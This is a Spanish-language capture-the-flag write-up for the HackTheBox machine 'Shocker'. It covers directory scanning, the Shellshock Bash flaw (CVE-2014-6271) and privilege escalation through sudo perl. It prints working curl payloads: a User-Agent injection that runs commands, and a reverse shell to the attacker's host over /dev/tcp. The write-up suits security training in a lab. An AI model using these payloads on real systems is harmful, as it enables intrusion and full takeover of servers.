Writeup HTB - Maquina Shocker
HTB - Shocker
Resumen
Scan Nmap
Pagina Web - Port 80
lo primero que hacemos es revisar la pagina web de esta maquina, pero solo encontramos un imagen divertida con un mensaje de Don’t Bug Me!
realizamos un escaneo de directorios y solo encontramos el directorio cgi-bin, dicho directorio se utiliza para alojar programas que son utilizados para ejecutar tareas en el servidor.
Shocker # ❯ dirsearch -u http://10.129.1.175 -w /usr/share/wordlists/dirb/common.txt -f -e php,html,js,txt,save,bak -t 200
Por lo tanto hagamos un escaneo a dicho directorio con las siguientes extensiones
Shocker # ❯ dirsearch -u http://10.129.1.175/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -f -e sh,cgi,pl -t 200
probamos que arroja dicho script user.sh
Shocker # ❯ curl -s http://10.129.1.175/cgi-bin/user.sh
Content-Type: text/plain
Just an uptime test script
11:42:43 up 2:25, 0 users, load average: 0.00, 0.00, 0.00
Explotacion vulnerabilidad Shellshock
Primero vamos a aclarar que el nombre oficial de esta vulnerabilidad es GNU Bash Remote Code Execution Vulnerability (CVE-2014-6271) y está considerada como grave, tal y como sucedió con Heartbleed, ya que permitiría la ejecución remota de código y así obtener el control de un ordenador.
El problema con esta vulnerabilidad se viene produciendo porque Bash permite declarar funciones (algo que tampoco es extraño y entra dentro de lo normal), pero estas no se validan de forma correcta cuando se almacenan en una variable. En otras palabras: Bash se pasa de la raya, extralimita sus funciones y sigue ejecutando código a pesar de haber finalizado de procesar la función.
Asi pues explotamos dicha vulnerabilidad de la siguiente manera
curl -H "user-agent: () { :; }; echo;echo; /bin/bash -c 'id'" http://10.129.1.175/cgi-bin/user.sh
Reverse shell - User shelly
para obtener una reverse shell podemos un puerto 443 en escucha con netcat
ejecutamos este payload
Shocker # ❯ curl -H "user-agent: () { :; }; echo;echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'" http://10.129.1.175/cgi-bin/user.sh
y logramos conectarnos a una reverse shell con el usuario shelly
Escalacion de privilegios - User root
si revisamos los permisos de sudo
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
logramos escalar privilegios como root de la siguiente manera
shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl -e 'exec "/bin/sh";'